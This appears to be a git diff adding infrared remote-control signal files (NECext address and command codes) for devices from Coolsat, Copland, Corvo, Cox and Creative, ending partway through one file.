b/assets/resources/infrared/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: TVRADIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: DoubleDown +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: TVSAT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: DoubleUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Copland/CD Player/128,114.ir b/assets/resources/infrared/_CSV-IRDB_/Copland/CD Player/128,114.ir new file mode 100644 index 000000000..343f102f2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Copland/CD Player/128,114.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 00 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 04 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 05 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 06 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 07 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 08 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 09 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 0A 00 00 00 +# +name: SPACE +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 0B 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 0C 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 0D 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 0E 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 0F 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 10 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 11 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 12 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 13 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 14 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 15 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 17 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 18 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 19 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 1A 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 1B 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 1C 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 1D 00 00 00 +# +name: INDEX_>> +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 1E 00 00 00 +# +name: INDEX_<< +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 1F 00 00 00 +# +name: INTRO_SCAN +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 40 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 80 72 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Copland/CD Player/129,49.ir b/assets/resources/infrared/_CSV-IRDB_/Copland/CD Player/129,49.ir new file mode 100644 index 000000000..52703b30d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Copland/CD Player/129,49.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: AUX2 +type: parsed +protocol: NECext +address: 81 31 00 00 +command: 0F 00 00 00 +# +name: AUX1 +type: parsed +protocol: NECext +address: 81 31 00 00 +command: 10 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 81 31 00 00 +command: 11 00 00 00 +# +name: RIAA +type: parsed +protocol: NECext +address: 81 31 00 00 +command: 12 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 81 31 00 00 +command: 13 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 81 31 00 00 +command: 18 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 81 31 00 00 +command: 4B 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 81 31 00 00 +command: 4C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir new file mode 100644 index 000000000..8bb42560a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: RELAY_8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 00 00 00 00 +# +name: RELAY_1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 01 00 00 00 +# +name: RELAY_2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: RELAY_3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: RELAY_4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: RELAY_5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 05 00 00 00 +# +name: RELAY_6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 06 00 00 00 +# +name: RELAY_7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir new file mode 100644 index 000000000..c58113a3c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: PPV_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: 1_TOUCH_REC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir new file mode 100644 index 000000000..c022259bf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir new file mode 100644 index 000000000..8efdfcf96 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: LOOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: FINE_UP(PLUS) +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: COLOR +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: X_KEY_100 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: FINE_DOWN(MINUS) +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir new file mode 100644 index 000000000..c44b193e6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: optical +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 0F 00 00 00 +# +name: rear_center +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 17 00 00 00 +# +name: coaxial +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 27 00 00 00 +# +name: stereo +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 2F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 47 00 00 00 +# +name: dynamic_mode +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 4F 00 00 00 +# +name: analog +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 57 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 67 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 77 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 87 00 00 00 +# +name: center +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 97 00 00 00 +# +name: dolby_pl_ii +type: parsed +protocol: NECext +address: C1 44 00 00 +command: A7 00 00 00 +# +name: ned_6 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: B7 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: C1 44 00 00 +command: C7 00 00 00 +# +name: dolby_digital_ex +type: parsed +protocol: NECext +address: C1 44 00 00 +command: CF 00 00 00 +# +name: rear +type: parsed +protocol: NECext +address: C1 44 00 00 +command: E7 00 00 00 +# +name: test +type: parsed +protocol: NECext +address: C1 44 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir new file mode 100644 index 000000000..60b4827c5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 08 00 00 00 +# +name: MOUSE +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 10 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 18 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 28 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 30 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 40 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 48 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 50 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 60 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 68 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 70 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 80 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 88 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 90 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: A0 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: A8 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: B0 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: C0 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: C8 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: D0 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: E0 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: E8 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: F0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir new file mode 100644 index 000000000..f592209de --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 20 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 50 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: 70 00 00 00 +# +name: FAST_REVERSE +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: A0 00 00 00 +# +name: EAX +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: B0 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: E0 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 21 AC 00 00 +command: F0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir new file mode 100644 index 000000000..62cae1c9b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 09 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 11 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 1E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 21 00 00 00 +# +name: EAX +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 31 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 3E 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 41 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 46 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 51 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 5E 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 6E 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 71 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 76 00 00 00 +# +name: Step +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 7E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 81 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 86 00 00 00 +# +name: CMSS +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 8E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 91 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 9E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: A1 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: AE 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: C1 44 00 00 +command: B1 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: C1 44 00 00 +command: BE 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: C1 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: C1 44 00 00 +command: C6 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: C1 44 00 00 +command: CE 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: D1 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: DE 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: E1 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: EE 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: F1 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: C1 44 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir new file mode 100644 index 000000000..011ce329b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 09 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 11 00 00 00 +# +name: X_KEY_3dMidi +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 19 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 1E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 21 00 00 00 +# +name: CMSS_Up +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 29 00 00 00 +# +name: EAX +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 31 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 3E 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 41 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 46 00 00 00 +# +name: X_KEY_4bit_Up +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 49 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 4E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 51 00 00 00 +# +name: X_KEY_3dMidi_Down +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 59 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 5E 00 00 00 +# +name: EAX_Up +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 69 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 6E 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 71 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 76 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 81 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 86 00 00 00 +# +name: X_KEY_4bit +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 89 00 00 00 +# +name: CMSS +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 8E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 91 00 00 00 +# +name: X_KEY_3dMidi_Up +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 99 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 9E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: A1 00 00 00 +# +name: CMSS_Down +type: parsed +protocol: NECext +address: C1 44 00 00 +command: A9 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: C1 44 00 00 +command: AE 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: C1 44 00 00 +command: B1 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: C1 44 00 00 +command: BE 00 